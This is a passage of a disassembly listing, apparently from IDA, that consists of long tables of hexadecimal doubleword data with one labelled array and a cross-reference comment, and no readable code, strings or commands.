		dd 1441F220h, 0D7831EE8h, 0E247AC0Ah, 0E4A1AEDh, 0A75B6F7Dh
		dd 0CC66B0DFh, 75B4300Ch, 0E60EB18h, 5DE96F09h,	44EBA41Dh
		dd 9B256301h, 6BA0F50Ah, 50477909h, 6830E712h, 85634EE8h
		dd 95D100B4h, 29F368F2h, 725FFB25h, 36B0108h, 3CE90962h
		dd 29907E22h, 74491B2Dh, 4E9B905Ah, 81810C9Dh, 0DF17274Ch
		dd 0EF124F01h, 0FFF057BBh, 0BC2C1B2Ch, 29E8AF0Ah, 99F88105h
		dd 0CDB6623Fh, 0CF2C7B0Eh, 0C42415Dh, 808ED9A9h, 18087534h
		dd 3A0CF181h, 442AEF45h, 8C623F04h, 0ECC97C7Ch,	0C1275AE4h
		dd 2F36169h, 7411555Fh,	0B42CB7h, 0BFC0E7B9h, 0F8CE29CBh
		dd 25179CAEh, 0FE241056h, 0CC8F8F1Dh, 90E52C59h, 7D00BA9Fh
		dd 0F3BF002Dh, 108205EBh, 57000995h, 3768BB53h,	5BE96443h
		dd 8133BDCBh, 14B60D70h, 701CB3Eh, 7B5C4B56h, 5011E5E7h
		dd 0C23157D3h, 40E1820h, 6846917Fh, 78DAF13h, 65D10747h
		dd 806F4CB8h, 0EC38E93Bh, 0B5F19Dh, 3A85F281h, 0F8901095h
		dd 81719C5Eh, 393E5DEBh, 228C76EEh, 0EC09DFCh, 9837176h
		dd 3B49EE9Eh, 3C6BE102h, 90B0E7D5h, 2290D2EEh, 487E157Ah
		dd 0EA7B4778h, 581A4821h, 0DF4EE85Eh, 4F694BCh,	0C8312DF3h
		dd 2C685342h, 59F42B63h, 1545685Bh, 80BE471Eh, 69737F10h
		dd 0F9E30481h, 8065D83Ah, 0C670AB78h, 0B4E91C08h, 0AB55A7EFh
		dd 0F98F529h, 480B12C1h, 585874D1h, 27497382h, 0F05ED773h
		dd 57D2A862h, 144769C6h
		dd 58545005h, 6161FF51h, 0E37A958Fh, 15C8218h, 4F9455C6h
		dd 64B851BDh, 4A4BEC1Eh, 0E30B77EFh, 1C4BFAB6h,	61CAE1B1h
		dd 0A82C7220h, 8BF61C4Fh, 81845BDEh, 55D00ADh, 4C6410A0h
		dd 680A0218h, 0C8AA01C8h, 0A4D8920Fh, 0CBD2D3D8h, 2E842BECh
		dd 0C8EE12BFh, 0D700EBE0h, 51348254h, 0A3D79B9h, 0CB291DB0h
		dd 1C8925A1h, 0EA71BBDDh, 0A5CBF634h, 0B43DAA51h, 0A6BBF7B9h
		dd 0D1C3009Bh, 36E9776Ch, 6039D812h, 91BD5C31h,	6B78E2BAh
		dd 4A79BF0Eh, 0AE69A0D3h, 4BB16212h, 520AB102h,	0D9F5E0D6h
		dd 73BFB64Fh, 1ECA78F2h, 7155E6C2h, 0B05DDA80h,	4DE957D0h
		dd 542D947Ch, 23DDCC82h, 0A1F64E7Dh, 4757D01Ah,	144DE88Fh
		dd 1D73C866h, 0DE68E72Dh, 0F0014F5Bh, 0E83CF9Dh, 82A8D1B3h
		dd 0E0E62BA1h, 0BFD14384h, 0F45C028Ch, 0CCA85A62h, 0D4ECAD9h
		dd 90BBB425h, 0DBED0AC1h, 8EA1FF4Fh, 93D5267Ch,	258E2D02h
		dd 15D156Ah, 673485DDh,	1727AA64h, 0EC16E578h, 7F0996EFh
		dd 0BDE720B3h, 1DD764Eh, 5EDC164h, 515AB068h, 41897C1h
		dd 0BB4EACA8h, 8F84D339h, 0E9DBDAE9h, 853D2571h, 0C5BF4BC8h
		dd 9F50EC4Ah, 4592C68Dh, 67F20AD8h, 587F900Bh, 166542Dh
		dd 564A3529h, 6F402205h, 0C1B3128Eh, 2F266809h,	6DF7D71Ah
		dd 4D38AF10h, 0BFF6E955h, 0C88077BEh, 9E7B992Dh, 4BE1FA76h
		dd 6317B45Bh, 0D870F34Eh, 2480F1BAh, 0D2E8414h,	2B22E0D3h
		dd 40C7E1E0h, 0A4B68F0h, 5B0EA014h, 7A1BCE3h, 9E1FA4B8h
		dd 0ED337805h, 580E8EFBh, 260C021Ch, 0E34F3480h, 42F6121Dh
		dd 0F390EB32h, 4C20165Bh, 4604FA49h, 91210E2Ah,	81EBD2D3h
		dd 4ADEE69h, 922E0C11h,	977F994h, 10C77DF6h, 0CD2A999Fh
		dd 83FCE35Bh, 4F9DC5F4h, 6CA68B3h, 27E96AD5h, 39C214F7h
		dd 0A650BBE9h, 2641ECBEh, 18A581Eh, 29655787h, 931479F3h
		dd 0D1890EFFh, 893C0176h, 0DB6DDF11h, 0FC3C51DFh, 45A22F1Ch
		dd 543D6CC5h, 130535A0h, 0C037CA42h, 0D0552E34h, 0A24E4A67h
		dd 2DDB4550h, 94131325h, 5020A6Eh, 13652807h, 0FB0124C9h
		dd 66E9A589h, 0AC001775h, 6FA62AAEh, 0F7CBB72Dh, 0C2B55D58h
		dd 52C6FDBCh, 0E511D69Dh, 358DAA57h, 9C3FD2Bh, 0FC6B51E9h
		dd 0F1C74CCCh, 1AA412Eh, 0E1C4841Eh, 9FB29A3h, 0A112EF71h
		dd 0B86A5CE8h, 7880C825h, 6B3EC0F4h, 0E9258978h, 0D759642Eh
		dd 305BD882h, 646162C3h, 0D52C5D64h, 6FD5794Fh,	0FF0B59A6h
		dd 0B580EB2Eh, 800BD785h, 0DCF1E924h, 259B80BFh, 0D1293A84h
		dd 0E09985Ah, 0C7A14B0Bh, 52F824A9h, 0ACFC555Ah, 0AEC25AACh
		dd 4679C268h, 685448BBh, 4AFDA410h, 0DB15F8A8h,	6809113Ah
		dd 88465E19h, 7228730Bh, 0C009570Dh, 0BD94F40Bh, 5218882Dh
		dd 0F0544F43h, 9845BEFEh, 589EDA7Fh, 75FD8CFEh,	0A202BF5Dh
		dd 0C284B64Eh, 508AC2CFh, 9660A46Ah, 2226727Bh,	0B20B3539h
		dd 0B1B06E29h, 3AB4021Dh, 0A0E11DFDh, 1F987ACFh, 7FC2E151h
		dd 91A6F9CDh, 28754025h, 362C2FF0h, 0C2D498E2h,	0A6E8F9CBh
		dd 0BCD517A3h, 23BB0183h, 0BE5C0168h, 850B5BF7h, 0EE2F00FFh
		dd 0E9364C45h, 0B56E6A29h, 2C8357A7h, 0CFAA5AF1h, 0E9E180D9h
		dd 0A811C03h, 0D6482EB9h, 0E9B4378h, 91B0AA0h, 0FC3DCB6Ch
		dd 7D81825Ah, 0C25F26EAh, 0A0600877h, 81C76A0Dh, 0C2885DD9h
		dd 0C624E705h, 0AA4E3503h, 96F5B066h, 6AF3056Ch, 0A83387E9h
		dd 864FD366h, 0C634EB68h, 4CC709F1h, 60F6315Dh,	0F76AC030h
		dd 0E28B596Ch, 2208CE02h, 0C1FF0967h, 737E1218h, 0B5E52187h
		dd 85C13AE4h, 4F2ACAA8h, 0E5DFCD00h, 0A62570CCh, 0FD951B7Dh
		dd 0DF5A1E92h, 0D02146C0h, 47D202F6h, 330E4F0Dh, 46BE630h
		dd 294E5719h, 95B7C5EAh, 8126FF76h, 0F943A36Dh,	0E22FFE92h
		dd 32F95E05h, 4FCBB11Bh, 444E05A0h, 9E454Ch, 0E47A8AC2h
		dd 9F5BDA89h, 0AC2751DAh, 2D27F24Eh, 0AC51E39Eh, 0A5840312h
		dd 8A9FF2B2h, 8ED1F161h, 50A454C1h, 0CE9491C8h,	0FA0100B2h
		dd 70D82E68h, 0FE056FA4h, 3878E330h, 0C165E020h, 5EDE9091h
		dd 0D03CF4BCh, 801C0F69h, 0FB370502h, 0FC4B4B58h, 4297C197h
		dd 2E606E2Ch, 84241F1Bh, 87F3001Eh, 0E9EEA872h,	3899059h
		dd 0D037EA80h, 0E5C2A9E2h, 0C28F069Eh, 0D78826F2h, 59CF5460h
		dd 1F21D1B5h, 0FEFC25Bh, 0DFF0A7E9h, 278734BDh,	0D4DCA868h
		dd 0A0A4BFC2h, 0CE35D0DCh, 9F4B2D96h, 0C25D025Dh, 0A6EC09D9h
		dd 7EBE5602h, 0D77DB80Fh, 75E4270Ch, 2BB40712h,	0CF9A951Fh
		dd 3F907438h, 20895016h, 0A6368B4Bh, 0EFD12E16h, 5BC4281Ch
		dd 0F6802949h, 60B63F84h, 7CCDC206h, 6AFB52A7h,	4B089310h
		dd 8AC138EDh, 3FF76B2Eh, 0E909F2F9h, 9090EDB9h,	582736F2h
		dd 187ED84Eh, 0A4C40DFFh, 583DC8Bh, 923FE4BCh, 3BA5F1B8h
		dd 4204EDEDh, 0EB494AD4h, 642DFAC2h, 8E93CEEh, 685A21CBh
		dd 0F3F00769h, 253CB652h, 0B5E8DEF6h, 2DC62C1Bh, 44C59C8h
		dd 0BC6E562Dh, 2BD98D68h, 5AA6FD28h, 0A3F9017h,	2440AC1Eh
		dd 5A4F78A7h, 3352BF09h, 0A9FCCEC9h, 0C173F67Fh, 5B6A6E18h
		dd 0D1783064h, 65490A1Bh, 8B31F287h, 1C6EF82Fh,	0FE4F475Fh
		dd 9F7DC1BEh, 0FC20DB1Eh, 26AD7671h, 969846BCh,	4080F609h
		dd 3B18FFEDh, 5F96CEB7h, 7AB2301Dh, 0A56890Ch, 0DFD4614Eh
		dd 0E0C081Ah, 0AEA29614h, 263C2710h, 68C1785Eh,	0E23B2F09h
		dd 34AAD6BBh, 2D8CBF2Fh, 0BFCA40A3h, 4D25F80Ah,	5F00DF6Eh
		dd 380DC72Dh, 8862B503h, 7E90701h, 0F2B975BBh, 6861B2D4h
		dd 57C232DCh, 68C1EE79h, 2D3B5125h, 0E9985057h,	0D4947E59h
		dd 37FCF83h, 24A22D1Ah,	29DAAABBh, 5966D9E8h, 0E3EB8016h
		dd 33B04612h, 0BD3C5B68h, 70658B14h, 0C1EC97A0h, 187AA5Dh
		dd 0EBE3B951h, 4AECDD2Bh, 74C2E10Ch, 57E05873h,	5A2D9226h
		dd 8914AE16h, 6FF30136h, 10A15E6h, 9413EB74h, 95A17CEh
		dd 4A71309Fh, 0A276B382h, 0F3D44018h, 0BD4448C3h, 1D07212Fh
		dd 247860BBh, 0DEB58915h, 49A1A53Ch, 419959D9h,	35F21D96h
		dd 721BEB43h, 0F0B74121h, 48C81C1Fh, 0B7C2C3Ch,	5A4A0B62h
		dd 35CACE0Fh, 2814768h,	6EF01E3Dh, 0B7CBA820h, 0B04F08D8h
		dd 0E075B4h, 72782D05h,	0D9356CF1h, 3F286209h, 6265D529h
		dd 96FBA73Dh, 682127FCh, 0AE028AF1h, 4214554Ah,	13DA56D7h
		dd 9280721h, 9B11A2C2h,	57504FE8h, 2D230E01h, 54484007h
		dd 27E94820h, 0BA7182Fh, 0AE3F852Ch, 52D8F990h,	61500FBAh
		dd 8CA57915h, 70E82DFAh, 4E13CA4Ch, 0DF00634Fh,	3F6C018Ah
		dd 0C4B65AE9h, 6F00EB2Fh, 0F4282AC6h, 0CCFE255Ah, 9E403250h
		dd 615CA2D5h, 0E93B456h, 0CA254631h, 9021084h, 0B7685EF0h
		dd 28AB0F48h, 7B5CC8C1h, 30FFF061h, 36F8BB44h, 0FE2B913h
		dd 0C4440CCDh, 100BF3E6h, 5665C5A9h, 80B23752h,	371D5038h
		dd 691BFEB5h, 4E5A3C00h, 0C1121580h, 390507EFh,	74BAECD8h
		dd 0AE756D9h, 87CBEE27h, 690E6851h, 1392FFF9h, 0E138100Bh
		dd 0B72FAD3Bh, 0C074C4A9h, 5E03C798h, 2543E38Bh, 0BF22C063h
		dd 0CC0509B9h, 8B75092Eh, 5B8FD831h, 0B1B6AC5Ah, 202F4410h
		dd 7B4CE5BBh, 0C05D0B27h, 72285797h, 0F50EC09Eh, 3419753Ah
		dd 0EA89521Ch, 6BE9D682h, 0C97D59FAh, 0C8152948h, 0BC727195h
		dd 95B2DEAEh, 256B6666h, 0B62D6FF8h, 49BAD1F3h,	2E653375h
		dd 949254F4h, 220B41B2h, 0FF002EF0h, 571270C6h,	0EE292D1Fh
		dd 0E90850B9h, 0B2163924h
		dd 0C54C41A7h, 1DC43C87h, 117C79E3h, 8D0333C0h,	6839D2Ah
		dd 2CDA7598h, 0A80490C1h, 0E183614h, 0B844CE62h, 16960963h
		dd 0F1C5CD29h, 0ADB6338Ch, 619908EEh, 5E1F2BF9h, 0C0BBE356h
		dd 0BCBEB826h, 5FAA8225h, 0B2C36B96h, 3BE7B8E9h, 692C60Fh
		dd 6D37BF35h, 0D976B292h, 28F4251Ah, 2997D995h,	2716BE5Ch
		dd 0CF291844h, 4C723F80h, 8172DD91h, 420610AEh,	9BDCC659h
		dd 0F5ECAAC4h, 26F0912Eh, 817A2CFAh, 0EE2019B9h, 73403F2Dh
		dd 0EF336DEDh, 922906Ch, 6B2A410Ch, 0F889E4FDh,	71EB09CDh
		dd 0EC5F62D0h, 4116011Bh, 0D7E96BFEh, 0D48D2BFAh, 924AF62Fh
		dd 0B185CABCh, 0E48BAF7Eh, 0EED1B717h, 5051C070h, 29772668h
		dd 6C062E2Fh, 50E6D1E4h, 0F236C8B6h, 3558040Bh,	0C5894457h
		dd 0A870857Fh, 6295EC4h, 0DA67A62Bh, 0A9E1846Dh, 98DCB604h
		dd 0F14A8843h, 0E3E94D81h, 922C016Ch, 0E8B21335h, 0DE6BC670h
		dd 21EA04D7h, 0F11A31F9h, 0A2FEADDAh, 0A0FBE9C3h, 5BF8B9DEh
		dd 416C3DC1h, 0ED5A79BAh, 5DCA97CCh, 0A5DBFC4Ah, 2F18F6AFh
		dd 0D5EC0B4h, 2C761EE6h, 0E1DA961Fh, 0CD022F7Ch, 5F2DC6DDh
		dd 0C3311948h, 5BDA0CC0h, 5398305h, 0D02927F5h,	0A207162Dh
		dd 0ACE9138Ch, 3601E353h, 0E3606E2h, 3864E86Ah,	3C1DC959h
		dd 8E020BF1h, 119300D2h, 9701337Bh, 20D7FD05h, 2E1CC6FEh
		dd 0C9E1C92Fh, 6DADC82Fh, 4D7FA2C3h, 9609850Ch,	102E0C61h
		dd 474CB19h, 21486FC1h,	0C3BD04D0h, 0ADCF59E4h,	31249E12h
		dd 7717B2FDh, 0DAD712BDh, 0AB2A31BBh, 4BCC2274h, 419B71EBh
		dd 0D5A27E32h, 234B6809h, 718897F9h, 0B24C26B0h, 7C7E0406h
		dd 9B7A053Ch, 0C408FFF5h, 66BB0121h, 40515362h,	0FB1048DEh
		dd 0F3A14F4Ah, 521AAC01h, 729BCA47h, 6017BDB6h,	410B7E27h
		dd 3F0F2DE9h, 53D53ED0h, 856F5E25h, 5398FFC2h, 5C33FB14h
		dd 0D7F6106Fh, 0FCC2F436h, 0A9BF009Dh, 5168932h, 0E5491304h
		dd 2D8E0A63h, 2F932407h, 0E9500CD3h, 71436A9Ch,	0B92E3C41h
		dd 0E831969Ah, 0CCBD79BEh, 0EE75207Bh, 96E38928h, 7B5B1F1Ch
		dd 50EE9E6h, 0FD2CC917h, 0FAE05285h, 0C22991DDh, 0F8132885h
		dd 0D72CC152h, 4624DF77h, 0A07B9151h, 0A0E918BEh, 0B4EDD3EFh
		dd 8C8EB605h, 0F4C2EB01h, 0C17E0B93h, 0E5EF5B2Ch, 44FD5549h
		dd 6366214h, 60859927h,	3580EE59h, 4CC70EA3h, 1C17643Dh
		dd 7C49F74Bh, 61713B5h,	0BB6FB930h, 0A0973A6Ah,	4E38F102h
		dd 0C14316CDh, 32BFDE1h, 579E4619h, 1324B6D1h, 5CC4C70h
		dd 0FA59CE14h, 80616644h, 501B6A98h, 16D6787Eh,	0F85BD238h
		dd 8C52825h, 0CD8C5050h, 0BAFEF383h, 95DD588Ch,	0F207967Ah
		dd 78A40E2h, 0F964F0EDh, 6F2945AFh, 0F541D31Eh,	5D02B30Fh
		dd 47DB6083h, 0C0B725F6h, 28A957D4h, 0D1E98938h, 0D233AC9h
		dd 5164BA68h, 2D13891Eh, 0FB01F7E6h, 0E97F047Eh, 0DDC28ED1h
		dd 9669E97Bh, 685C0912h, 38664C9Bh, 0BD291B02h,	75FEE97Ch
		dd 8850A602h, 3E343B61h, 69EEE212h, 76EBF491h, 43D15A04h
		dd 0C488C301h, 0B3515B7Ah, 0AC5ACA56h, 5900C610h, 80D4F65Bh
		dd 82CA5F4h, 4D425FE2h,	4B185DCFh, 437E7DE8h, 5A2ED7F0h
		dd 8F4A6509h, 16F47B0Eh, 1B978FBEh, 92D80B80h, 0AFA6C5D0h
		dd 0F749A7F1h, 0E9379A9Eh, 0B2CF4B3Dh, 355D32C1h, 2C2F6801h
		dd 5F8925F7h, 0EB4ACA9Ch, 0EA134025h, 0B0683EC0h, 319ABD66h
		dd 0FBB1C504h, 0FAD67428h, 0D1B64A26h, 81F5E63Fh, 6ADDB842h
		dd 0DA420E84h, 0FD6C7FF2h, 4F689F0Fh, 2C92C47Ah, 4BDE2DACh
		dd 9079295Ah, 0E4C243Ch, 0F9035EACh, 42018365h,	91A3682Ch
		dd 564BA470h, 5EA296B8h, 0A3E0057Fh, 503360BFh,	312B4B8h
		dd 14FF655Eh, 0B602F1FDh, 155793Eh, 80A88F7h, 17020C34h
		dd 0F13B36E9h, 0ED688959h, 2321A55h, 0D91262A4h, 0BFAB928Fh
		dd 73EA0413h, 0ABFC2C33h, 64C4C0E2h, 5453F215h,	22973004h
		dd 0C1CE75h, 3314ADBFh,	26336D58h, 0D8A0C5D8h, 1118A14h
		dd 22FD8453h, 9CEC32FAh, 5F5A3BD4h, 962F524Dh, 4A09B0Bh
		dd 0FF7AF268h, 0EA03F3CEh, 23CE78CBh, 897325Fh,	0AF983C22h
		dd 18DF4673h, 0B2E13F33h, 0AF647593h, 5C870788h, 86709F9h
		dd 998374E9h, 0A1872F2Ch, 3170CC2h, 0D14CF928h,	24BA2691h
		dd 99F6861h, 12162B7Bh,	9DEFADE9h, 57847A22h, 0EF5F13EFh
		dd 0B5F4CCh, 216FD159h,	0E4A9E9FAh, 724E3CD4h, 4F8D0C16h
		dd 5987B9ACh, 0E977D147h, 6B002BBCh, 40685155h,	0F875F27Bh
		dd 0CB1F616Eh, 0F89C2CD8h, 2D932B33h, 136E790Eh, 0B92CEBBh
		dd 0F5D73BE9h, 2EC1E94h, 0AEE9138Ch, 0BB6DAADEh, 0EF098CAFh
		dd 0A67465F5h, 0D1F70994h, 2A48AD00h, 945122Bh,	25EA5930h
		dd 0BF7EF2EBh, 95408366h, 0BA43ABDCh, 8B278446h, 0BA12B48Eh
		dd 0B26A58D9h, 0DE878346h, 4BAF7653h, 0C46EEDFh, 42F80Ah
		dd 0EF808AB7h, 2C59681Eh, 0D0B433A9h, 2826EBB1h, 9CEE4E1h
		dd 2011DAF9h, 0BA0545D9h, 351005C2h, 684804EEh,	9F5FAA90h
		dd 69905996h, 2DDFFBF6h, 7F0EE37h, 8DB9345Ah, 30C9E1D6h
		dd 1E402922h, 0C74CB553h, 0D570301Dh, 422CE989h, 18A260B2h
		dd 1F9B327h, 0DB267DBDh, 9A93B50h, 0C5061858h, 0BEFD7467h
		dd 0D2FFFB29h, 0BAE83C28h, 82BD1917h, 76E95D02h, 48F4FAA6h
		dd 6D526A5Fh, 3FF6EF54h, 0F2EAA32Dh, 0E9D42F17h, 94EC4972h
		dd 9C2F01E5h, 432EEAC7h, 0E30BA7B8h, 0D1DE0008h, 0B11C74Eh
		dd 5790E952h, 0BC90BF1h, 2560D863h, 85FEDFF6h, 0BEE68005h
		dd 0ABFFCC2h, 80C2ABE0h, 3F7E4D65h, 3E02E781h, 0E9338528h
		dd 88957A2h, 2F693B7Ch,	0E20BCB73h, 77C057E4h, 60480603h
		dd 0C0640685h, 0B53EE433h, 89156689h, 2791D927h, 0F742E0DEh
		dd 321208BEh, 677554B5h, 2B840045h, 0A0E94FA5h,	0CA9593B2h
		dd 0F101825Ah, 25A9386Dh, 0B959AC00h, 0B79DF083h, 34F2B801h
		dd 0BB77C9C4h, 5E3FE1B2h, 305B9E12h, 3C6858E5h,	0DDD90A5Bh
		dd 13845920h, 1C8A4Fh, 0A84AEB56h, 0B42FE953h, 0DA1E5417h
		dd 93ECEEFFh, 4FBA91A8h, 0EF0343B8h, 742D5FC0h,	7A62C7B0h
		dd 0BD3AA924h, 2EA97747h, 0E22BC67Eh, 5B660F0Ch, 5EE5562Ch
		dd 9E7FB882h, 9465E509h, 0B6514A70h, 25605861h,	0C80FC21Dh
		dd 5F19682Eh, 2F462D6Bh, 313A0B6h, 4806558h, 55D965Eh
		dd 0A7E65C68h, 28566F00h, 0EECB817Eh, 373D4D02h, 0CCC66CE9h
		dd 0E9565159h, 0FB91133Fh, 9C4C862Eh, 29D6A227h, 0DA16024Bh
		dd 13B00A6Fh
dword_4F0044	dd 440BC07h, 1A16B72h, 13DF4CF0h, 0ED0F1BE9h, 0F28850EDh
					; DATA XREF: ___:00437A2Co
		dd 81846E4Dh, 5E4C0E6h,	0B3A1767Ch, 44DCC114h, 3EE2AFCBh
		dd 0ABC825C5h, 58F48344h, 9B16147h, 0F67CC6FDh,	169A69BEh
		dd 3252CC7Ch, 0F5DBD7B8h, 5E30E904h, 2C09CCEDh,	7254E16Ah
		dd 1601DC08h, 0DD2F3458h, 22092F32h, 289DB50h, 8E88E9F8h
		dd 6282095Ch, 80191201h, 8B2C93A0h, 4DE918C5h, 0A8BE225Fh
		dd 0E8855451h, 8BD62189h, 7E427A0Bh, 251F62E9h,	0FF46272Ah
		dd 77292403h, 36472DC0h, 20EC96A5h, 6FF7C59Dh, 0B3F588F0h
		dd 0B3FA257Fh, 0F7B1D34Bh, 0B05A7B0Ch, 2FE7FEABh, 7B6D0106h
		dd 0E5C4B328h, 0A481DD01h, 0B2A4D58Eh, 575C0816h, 0E62CBA09h
		dd 0F324169Ah, 4550EE73h, 4A681608h, 0B33EC5ADh, 4BB05AC0h
		dd 2745063Dh, 933540F1h, 0A1D373F7h, 756FCB98h,	4764BE26h
		dd 0DA3408A8h, 879CAA59h, 0EB37945Ch, 55375506h, 2EABF304h
		dd 4D00612Bh, 5347C75Eh, 6EF5BB1Dh, 47020156h, 0C0B4C546h
		dd 120EEE4Dh, 0AB26D816h, 805B6C4h, 5FA8AFE9h, 37DC94Fh
		dd 0F090CEE5h, 128595Eh, 769FC1C5h, 22EF58EBh, 0FE4FC99Eh
		dd 30C02723h, 6B05782Dh, 20A96850h, 4B30AC98h, 84A1D0B1h
		dd 215AA759h, 0B41109AAh, 0C8B9EB59h, 0ED28116Ch, 4DFCF200h
		dd 0D70141A1h, 2DF5CAFAh, 92BED1F1h, 0FDB459ACh, 4DA31208h
		dd 0A8F449E9h, 215DA094h, 437A27DDh, 85531955h,	5A7A723Ch
		dd 0FC1B8801h, 12590A40h, 0C0DBA52h, 163A4D8Fh,	3F107A12h
		dd 0CE03B5BCh, 19E108FFh, 35210C00h, 0E68635Dh,	61F6B667h
		dd 20626C9Dh, 764FE493h, 0FAE70444h, 348BF0Ah, 0FE87F729h
		dd 789275F1h, 4439B1B7h, 0E787E5BDh, 29488913h,	7B30F258h
		dd 3AEB1D0Dh, 8533F7Ch,	0C956C850h, 9A7DD9D4h, 0DA4843DCh
		dd 2AE2FE15h, 5F681116h, 0A395121Bh, 8ED008EDh,	60AAC117h
		dd 69326836h, 27FBCC9Fh, 5A660A3Dh, 5F827FE0h, 2B49DB41h
		dd 0C07BFBB1h, 2986FB2Fh, 6B20B14Fh, 0A4D85FE9h, 9C35E20h
		dd 0E75D5A34h, 1C5F1647h, 1C425085h, 0DF803105h, 651D2D0Fh
		dd 5A8F7FACh, 0BA8B135Dh, 8F5BE3DBh, 0F9984541h, 0BA2104FFh
		dd 0C610A12Fh, 221366F5h, 10EA2942h, 1C6B083Ch,	0A0A401FEh
		dd 6A49F113h, 0B97893D4h, 4981F476h, 209B88EDh,	19A13B6Fh
		dd 0C6BDF46Eh, 2239330Fh, 0ACE09656h, 99254CD2h, 1BB705C0h
		dd 89D0227h, 5D17075Eh,	0D575E1D1h, 0B9CA6581h,	30565720h
		dd 631FA7A4h, 0E2006160h, 348E0C98h, 5E0E2FE9h,	0DBD7629Ah
		dd 14BFC8ABh, 911E627Dh, 0FCA8531Fh, 50F062C7h,	0D1290F7Ah
		dd 0D81D1A04h, 8195A32Eh, 5A5D595Bh, 0ED203649h, 0A0D0615h
		dd 0B2CA013Ah, 0A4C00882h, 0A392842Ah, 0D7747500h, 68F78171h
		dd 399D5C7Ah, 0CABBC313h, 665A2431h, 27405E08h,	0EE807EE0h
		dd 6D48177Bh, 0D00185D2h, 2853D880h, 6C0A4CCBh,	5075F3Eh
		dd 29A40D68h, 3D49E402h, 530BA6D2h, 8627F114h, 48C16CF0h
		dd 6B1DF4F5h, 0C4C59F03h, 0C244FF1Eh, 0E6D718C7h, 0F51B3089h
		dd 6AAEF233h, 68767B09h, 82E6FDA0h, 7397D125h, 0AD0504E7h
		dd 2AB4BF18h, 0DF6424E9h, 0FD80AFEBh, 11DA3AD1h, 0E564A99Dh
		dd 7562768h, 0A6E985CFh, 0B86E42B1h, 8BAAE575h,	0A97E18DBh
		dd 902C429h, 0F606F580h, 0DAA77002h, 515E66DDh,	3130EC5Ch
		dd 55030963h, 306D589h,	0C73C836Bh, 0BC741953h,	9204636h
		dd 1D7B05DFh, 9CCE090Dh, 0C277F61Dh, 0BC18FE24h, 1767FB02h
		dd 0D827D13h, 39D1E04Fh, 2909518Fh, 0BFDC5652h,	0B11277A0h
		dd 4FB2837h, 0FEC221E1h, 8948A8B6h, 0AB975D20h,	6C45F47Fh
		dd 30C1E5C2h, 48F00AABh, 0BFCB177Eh, 7AFBF701h,	866B271Ch
		dd 0F1F807E1h, 27C8319h, 56FAC85Ch, 729382A3h, 98DC5E3Ah
		dd 5EECFE8Bh, 0E7DFE9BCh, 88E9045Eh, 2F35AAC9h,	0D26B9DBFh
		dd 0BF061DD8h, 67B02B0Ah, 5B170CB6h, 0FAE081Bh,	37A1F60Ah
		dd 310A8789h, 0E90B73FAh, 68F3A24Dh, 9AB1507Dh,	0CC7094C4h
		dd 38B3FCB7h, 8576805h,	0AC54554Dh, 9EEAB414h, 9FE90A22h
		dd 0F3818FE5h, 1AEF2A06h, 58016D64h, 782D38FDh,	2927FA44h
		dd 0EAF0B9CAh, 26148C20h, 9CD70108h, 4AB74B74h,	1E7F81B2h
		dd 45A3962Ch, 2E84EA54h, 80C3B2BAh, 18A06B23h, 0AAED2FE9h
		dd 3325CC49h, 0D0B82474h, 0E01A6D0Ch, 0FC2B5FDFh, 6CEE0250h
		dd 0E1442912h, 87D03224h, 0E3A6C770h, 0B875150Fh, 65E98651h
		dd 0D5212C55h, 0E5B05B54h, 9C5F654Ch, 1A5CBAF0h, 0C4ABB79h
		dd 0C0B572C4h, 2D620F7Dh, 0D2DA4B16h, 0F44878E2h, 0DA7710BCh
		dd 311DB876h, 7ECFB141h, 0AC6A0D4Bh, 1A98F401h,	64442568h
		dd 5817DC5h, 0B0E1958h,	82315961h, 0BB02DC38h, 29B89D44h
		dd 0D325BC52h, 8C54D9F1h, 0F2ED3970h, 0B004BC77h, 0E2C14229h
		dd 0A3EA6180h, 968C0BCCh, 3EF0B3E9h, 24DAF624h,	14A76F2Ch
		dd 7B1FB009h, 33B98062h, 0E06C1527h, 16487084h,	0B009A3BCh
		dd 0CC4FE024h, 8BDE63BAh, 0D3A2FE94h, 0A1758CC9h, 0AD4A8FA3h
		dd 40F2FC30h, 54E59ABh,	31ECC3E5h, 0ED9B5D8h, 3BB6841h
		dd 57B06D3Ch, 8CA916E9h, 0D78B385Ah, 0D2FD18EFh, 48802AA4h
		dd 0BFA4C525h, 270BBA20h, 0D0088B40h, 63A2A8BDh, 18BA80F3h
		dd 1ED06A14h, 403104A5h, 20832355h, 7D6FB2CAh, 0F2E5D8A0h
		dd 529786FDh, 9BCB042Bh, 0AE405853h, 981831E3h,	0C6FE0AFCh
		dd 5698072h, 6049626Ch,	3D6B273Bh, 22AA334Ch, 201F90EBh
		dd 0DB6B93Dh, 13E3788Eh, 13CA8FFBh, 61BAB588h, 884FCB15h
		dd 163BB83h, 62AAB12Dh,	21E06A0Ah, 0FF38598Fh, 428AC330h
		dd 255B7101h, 48C2BA0h,	0E923C908h, 0B86090E5h,	39E0354Fh
		dd 93BDA3B5h, 0DAF2B40Ch, 20F22E9Eh, 43FD0B93h,	5D8D498Dh
		dd 75E3A5A6h, 0B4827609h, 0D00460Ch, 0D6557Dh, 6BD1351Fh
		dd 232505C4h, 7EED0B02h, 209B8E9h, 0EED42A68h, 0C83CDD2Dh
		dd 10B7C02Dh, 79C772h, 5B7A3051h, 82E95D57h, 1A688C59h
		dd 0D512EA29h, 4D7DE6CAh, 1FE90550h, 26DDD8B3h,	0D90147C3h
		dd 980B9D31h, 2598DDD1h, 0D73F7E5Fh, 0C1CECE77h, 621D442Ch
		dd 8B5DFBE9h, 63AC5E12h, 0B025D1F6h, 140B9892h,	0A8C591FFh
		dd 0E78E2078h, 74306813h, 0C610F6F3h, 840F0565h, 9CAABFBBh
		dd 130E918h, 5EF233A9h,	4C0D00BFh, 0EF81D302h, 8D284EFDh
		dd 8304A31Dh, 292A5C03h, 8410AE8h, 2141CA0h, 0D7F74F5Ah
		dd 9E69A2E9h, 68A62B5Eh, 67437413h, 0F56DA18Ah,	5C83E15h
		dd 0B72B1DCCh, 8784BC3Dh, 0C02EFD1Dh, 0F397212Eh, 0D9E9EF0Ah
		dd 0CABDB4CEh, 47B23E97h, 0DEFBA4CDh, 853825BFh, 2DBA4139h
		dd 30C72BD7h, 551F0BBh,	55D8F307h, 0E9163544h, 2ACBA48h
		dd 0EAE668C4h, 7A037660h, 0FC50716Eh, 68689FA5h, 0CD969206h
		dd 467168E1h, 0C6DB75C2h, 71B25917h, 36356883h,	0FC2B4D27h
		dd 0A326B4D3h, 0E9E9CFFCh, 52337756h, 81F0F7D1h, 62D6E32Bh
